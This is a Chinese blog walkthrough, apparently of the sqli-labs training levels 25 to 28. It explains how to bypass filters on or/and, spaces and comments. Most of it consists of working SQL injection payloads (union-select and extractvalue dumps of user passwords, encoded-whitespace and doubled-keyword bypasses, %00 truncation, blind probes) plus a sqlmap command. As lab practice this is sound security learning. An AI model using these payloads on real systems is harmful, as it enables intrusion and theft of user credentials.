赞
踩
过滤or和and,并且我们每一次输入,都会在Hint上显示出来
直接用id=1,就可以让它破防,
用id=-1’,测试下注入点,根据提示,可以知道这是一个单引号注入
构造playload
?id = -1' XXXX or '1' ='1 #
测试刚刚构造的playload,看一下是否可行,发现or被屏蔽了
现在的需要解决的问题是:如何绕过or和and的过滤
想到的办法有两种:一是url编码绕过(试过了,不行),二是双写绕过,三是重写绕过
构造下playload
or:oorr
and:aanndd
测试一下回显可行不,发现可以
直接按照前几关的sql注入,在这里,我就直接写结果
~~/Less-25/?id=-1' union select 1,(select group_concat(id,'~',username,'~',passwoorrd) from security.users),3 oorr'1'='1#
前一关的进阶版,去掉了报错信息,我们不能从网页上获取sql的执行报错信息,采用联合注入或盲注
只加了个黑名单和过滤,其余和前几关一样
构造playload
?id=-1 union 1,2,XXX --+
爆数据库
?id=-1 union select 1,2,database() --+
爆表
?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
爆数据
?id=-1 union select 1,(select group_concat(username,passwoorrd) from users) ,3--+
除了过滤or和and外还过滤了#和-- ,斜杠和*号和空格
空格 利用%a0为被视为特殊字符,我们采用换行符号%0A代替
TAB键 %0B (垂直)
这道题可以用两种注入方式:联合注入/报错注入
原理跟之前的关卡一样
?id=0'%0bunion%0bselect%0b1,database(),3||'1'='1
?id=1'%26%26extractvalue(null,concat(0x7e,(select(group_concat(username,'~',passwoorrd))from(security.users)),0x7e))%7c%7c'1
参考资料
(sqli-labs 26关)[https://blog.csdn.net/m0_71299382/article/details/127944148]
空格和注释都过滤
万能密码可以登录进去
输入:?id=1’ ,提醒有过滤
?id=1"
?id=1" or 1=1
双引号注入显示正常,单引号注入,却出现过滤提示
-- 解析下
①如果是双引号注入:"XXX"
输入:?id=1" or 1=1
执行:"1" or 1=1 "
结果:报错
②如果是单引号注入:'XXX'
输入:?id=1" or 1=1
执行:'?id=1" or 1=1'
结果:id=1,执行成功
从上面分析,再结合执行结果,可以知道这是单引号注入,而且存在闭合注入。
?id=2'anandd'1'='1
实际显示id为1的结果,所以存在闭合
后面就用盲注(个人比较不喜欢的,需要手动一步步注入)
判断表名长度
注:网上用到了联合注入,就是在26关的基础上,加一个闭合,我试了下,是不行的
想用sqlmap测试下,没有成功
python sqlmap.py -u "http://192.168.60.128/sqli-labs/Less-26a/?id=1" -technique=B --hostname --users --tamper=tamper/air.py,test.py
资料
https://blog.csdn.net/weixin_47300936/article/details/126686782
https://www.pudn.com/news/6312e19688df2007aa175c06.html
可以判断是单引号注入,不存在闭合,如果存在闭合,在注入单引号时,会报闭合的错误
万能密码
按照网上的一些绕过,采用以下绕过字符,发现报错了
?id=0'%a0UnioN%a0SelEct%a01,database(),3||'1'='1
想着用其他的绕过字符表达式,试了下%0b,每遇到一个空格就TAB键,完美解决问题
?id=0'%0bUnioN%0bSelEct%0b1,database(),3||'1'='1
在这里,我就直接跳过过程,直接来到最后一步
?id=00'%0aUnioN %0aSelEct%0a 1,(SelEct %0agroup_concat(id,'~',username,'~',password)%0afrom %0asecurity.users),3 %0aand %0a'1'='1
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
%0A 换行
心得:感觉绕过很恶心,有时候少写一个小写转大写,就不能注入了
跟二十七关类似,直接判断下注入点
测试了下用单引号注入,发现显示了
解析:注入id=2’ and '1
执行:‘2’ and ‘1’
结果:输出id为1的结果,与结果不符合
如果是双引号
**执行:**" 2' and '1”,变成** ' '2' and '1' '**
**结果:**输出的结果,不是id为1的Dumb,则可能是双引号
满足下面两个条件语句执行结果,就是双引号注入
?id=2" -- 报错
?id=2"" --不报错
构造playload,就是前一关的修改版
?id=1" union select 1,XXX,3 and "1
直接爆数据
?id=00" %0aUnioN %0aSelEct%0a 1,(SelEct %0agroup_concat(id,'~',username,'~',password)%0afrom %0asecurity.users),3%0aand "1
测试出了注入点,但是第一次在过滤字符上,出错了
初步构造palyload
?id=00') union select 1,2,3 and '1'='1
过滤符号
空格:采用%0a绕过,会导致识别出特殊字符,采用**%0A**换行绕过
union: uni 换行 union %0A selecton
select: select
在这里,我发现用大小写时没用的,所以用重写
?id=0')uni union%0Aselecton%0Aselect%0A1,database(),3%0Aand%0A('1
其他跟步骤一样,直接爆数据
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Asecurity.users%0A
注入失败,提示“没传 参数,导致$SQL语句缺失 不合法”
后面添加个00截断,就可以把后面的源码sql语句去掉
最终版
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Asecurity.users%0A
;%00
判断注入点:参考二十八关
盲注:利用burp即可,或者sqlmap
?id=0' ) or (select ascii(substr((select version()),1,1)))>100 --+
?id=0' ) or (select ascii(substr((select version()),1,1)))>0 --+
需要考虑到闭合情况,有无闭合下,都可以满足
?id=1’ 报错了,有可能是单引号注入,需要再进行下一步确认
-- 解析下
①如果是双引号注入:"XXX"
输入:?id=1" or 1=1
执行:"1" or 1=1 "
结果:报错
②如果是单引号注入:'XXX'
输入:?id=1" or 1=1
执行:'?id=1" or 1=1'
结果:id=1,执行成功
以单引号为例
一般是使用3种方法进行绕过,分别是URL编码、大小写、重写
(1)URL编码的常见字符
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
%0A 换行
(2)大小写:利用sql语句不区分大小写的特性
union->Union
select->Select
(3)重写
union-> un union ion
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。